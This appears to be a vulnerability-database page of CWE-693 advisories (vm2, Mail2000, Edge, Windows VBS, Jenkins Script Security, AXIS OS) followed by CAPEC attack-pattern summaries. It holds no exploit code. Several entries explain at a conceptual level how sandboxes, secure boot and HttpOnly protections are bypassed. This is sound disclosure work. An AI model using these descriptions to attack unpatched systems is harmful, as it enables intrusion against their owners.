  "published": "2026-05-05T16:33:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24781"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "VM2 Has Sandbox Breakout Through Inspect Function"
}

GHSA-V3V6-H9VM-H39C

Vulnerability from github – Published: 2024-07-15 09:36 – Updated: 2024-07-15 09:36
VLAI
Details

Openfind's Mail2000 has a vulnerability that allows the HttpOnly flag to be bypassed. Unauthenticated remote attackers can exploit this vulnerability using specific JavaScript code to obtain the session cookie with the HttpOnly flag enabled.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-6741"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-15T09:15:03Z",
    "severity": "MODERATE"
  },
  "details": "Openfind\u0027s Mail2000 has a vulnerability that allows the HttpOnly flag to be bypassed. Unauthenticated remote attackers can exploit this vulnerability using specific JavaScript code to obtain the session cookie with the HttpOnly flag enabled.",
  "id": "GHSA-v3v6-h9vm-h39c",
  "modified": "2024-07-15T09:36:30Z",
  "published": "2024-07-15T09:36:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6741"
    },
    {
      "type": "WEB",
      "url": "https://www.openfind.com.tw/taiwan/download/Openfind_OF-ISAC-24-007.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-7941-b66e7-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-7940-0177a-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V4V5-CP6R-QGQ7

Vulnerability from github – Published: 2023-04-11 21:30 – Updated: 2023-04-11 21:30
VLAI
Details

Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-28284"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-11T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability",
  "id": "GHSA-v4v5-cp6r-qgq7",
  "modified": "2023-04-11T21:30:59Z",
  "published": "2023-04-11T21:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28284"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28284"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V52C-8R34-P76R

Vulnerability from github – Published: 2025-07-08 18:31 – Updated: 2025-07-08 18:31
VLAI
Details

Protection mechanism failure in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-47159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-08T17:15:36Z",
    "severity": "HIGH"
  },
  "details": "Protection mechanism failure in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-v52c-8r34-p76r",
  "modified": "2025-07-08T18:31:44Z",
  "published": "2025-07-08T18:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47159"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47159"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V558-FHW2-V46W

Vulnerability from github – Published: 2022-05-24 22:00 – Updated: 2023-10-26 16:14
VLAI
Summary
Unsafe entry in Script Security list of approved signatures in Pipeline Remote Loader Plugin
Details

Jenkins Pipeline Remote Loader Plugin before 1.5 provided a custom whitelist for script security that allowed attackers to invoke arbitrary methods, bypassing typical sandbox protection.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:workflow-remote-loader"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10328"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-08-30T18:21:15Z",
    "nvd_published_at": "2019-05-31T15:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Jenkins Pipeline Remote Loader Plugin before 1.5 provided a custom whitelist for script security that allowed attackers to invoke arbitrary methods, bypassing typical sandbox protection.",
  "id": "GHSA-v558-fhw2-v46w",
  "modified": "2023-10-26T16:14:43Z",
  "published": "2022-05-24T22:00:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10328"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/workflow-remote-loader-plugin/commit/6f9d60f614359720ec98e22b80ba15e8bf88e712"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHBA-2019:1605"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:1636"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/workflow-remote-loader-plugin"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-05-31/#SECURITY-921"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/05/31/2"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/108540"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unsafe entry in Script Security list of approved signatures in Pipeline Remote Loader Plugin"
}

GHSA-V5CR-HWCX-R95M

Vulnerability from github – Published: 2023-11-21 09:30 – Updated: 2023-11-21 09:30
VLAI
Details

During internal Axis Security Development Model (ASDM) threat-modelling, a flaw was found in the protection for device tampering (commonly known as Secure Boot) in AXIS OS making it vulnerable to a sophisticated attack to bypass this protection. To Axis' knowledge, there are no known exploits of the vulnerability at this time. Axis has released patched AXIS OS versions for the highlighted flaw. Please refer to the Axis security advisory for more information and solution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-5553"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-21T07:15:11Z",
    "severity": "HIGH"
  },
  "details": "During internal Axis Security Development Model (ASDM) threat-modelling, a flaw was found in the protection for device tampering (commonly known as Secure Boot) in AXIS OS making it vulnerable to a sophisticated attack to bypass this protection. To Axis\u0027 knowledge, there are no known exploits of the vulnerability at this time. Axis has released patched AXIS OS versions for the highlighted flaw. Please refer to the Axis security advisory for more information and solution.\n\n",
  "id": "GHSA-v5cr-hwcx-r95m",
  "modified": "2023-11-21T09:30:23Z",
  "published": "2023-11-21T09:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5553"
    },
    {
      "type": "WEB",
      "url": "https://www.axis.com/dam/public/0a/66/25/cve-2023-5553-en-US-417789.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V63G-V339-2673

Vulnerability from github – Published: 2024-05-02 15:30 – Updated: 2024-07-03 20:09
VLAI
Summary
Jenkins Script Security Plugin has sandbox bypass vulnerability involving crafted constructor bodies
Details

Jenkins Script Security Plugin provides a sandbox feature that allows low privileged users to define scripts, including Pipelines, that are generally safe to execute. Calls to code defined inside a sandboxed script are intercepted, and various allowlists are checked to determine whether the call is to be allowed.

Multiple sandbox bypass vulnerabilities exist in Script Security Plugin 1335.vf07d9ce377a_e and earlier:

  • Crafted constructor bodies that invoke other constructors can be used to construct any subclassable type via implicit casts.

  • Sandbox-defined Groovy classes that shadow specific non-sandbox-defined classes can be used to construct any subclassable type.

These vulnerabilities allow attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and execute arbitrary code in the context of the Jenkins controller JVM.

Script Security Plugin 1336.vf33a_a_9863911 has additional restrictions and sanity checks to ensure that super constructors cannot be constructed without being intercepted by the sandbox:

  • Calls to to other constructors using this are now intercepted by the sandbox.

  • Classes in packages that can be shadowed by Groovy-defined classes are no longer ignored by the sandbox when intercepting super constructor calls.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:script-security"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1336.vf33a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-03T20:14:29Z",
    "nvd_published_at": "2024-05-02T14:15:10Z",
    "severity": "HIGH"
  },
  "details": "Jenkins Script Security Plugin provides a sandbox feature that allows low privileged users to define scripts, including Pipelines, that are generally safe to execute. Calls to code defined inside a sandboxed script are intercepted, and various allowlists are checked to determine whether the call is to be allowed.\n\nMultiple sandbox bypass vulnerabilities exist in Script Security Plugin 1335.vf07d9ce377a_e and earlier:\n\n- Crafted constructor bodies that invoke other constructors can be used to construct any subclassable type via implicit casts.\n\n- Sandbox-defined Groovy classes that shadow specific non-sandbox-defined classes can be used to construct any subclassable type.\n\nThese vulnerabilities allow attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and execute arbitrary code in the context of the Jenkins controller JVM.\n\n- These issues are caused by an incomplete fix of [SECURITY-2824](https://www.jenkins.io/security/advisory/2022-10-19/#SECURITY-2824%20(1)).\n\nScript Security Plugin 1336.vf33a_a_9863911 has additional restrictions and sanity checks to ensure that super constructors cannot be constructed without being intercepted by the sandbox:\n\n- Calls to to other constructors using this are now intercepted by the sandbox.\n\n- Classes in packages that can be shadowed by Groovy-defined classes are no longer ignored by the sandbox when intercepting super constructor calls.\n\n",
  "id": "GHSA-v63g-v339-2673",
  "modified": "2024-07-03T20:09:30Z",
  "published": "2024-05-02T15:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34144"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/script-security-plugin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/script-security-plugin/releases/tag/1336.vf33a_a_9863911"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2024-05-02/#SECURITY-3341"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/05/02/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Script Security Plugin has sandbox bypass vulnerability involving crafted constructor bodies"
}

No mitigation information available for this CWE.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-107: Cross Site Tracing

Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-20: Encryption Brute Forcing

An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-237: Escaping a Sandbox by Calling Code in Another Language

The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content

An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.

CAPEC-480: Escaping Virtualization

An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.

CAPEC-51: Poison Web Service Registry

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-65: Sniff Application Code

An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.

CAPEC-74: Manipulating State

The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.

State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.

If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.

CAPEC-87: Forceful Browsing

An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.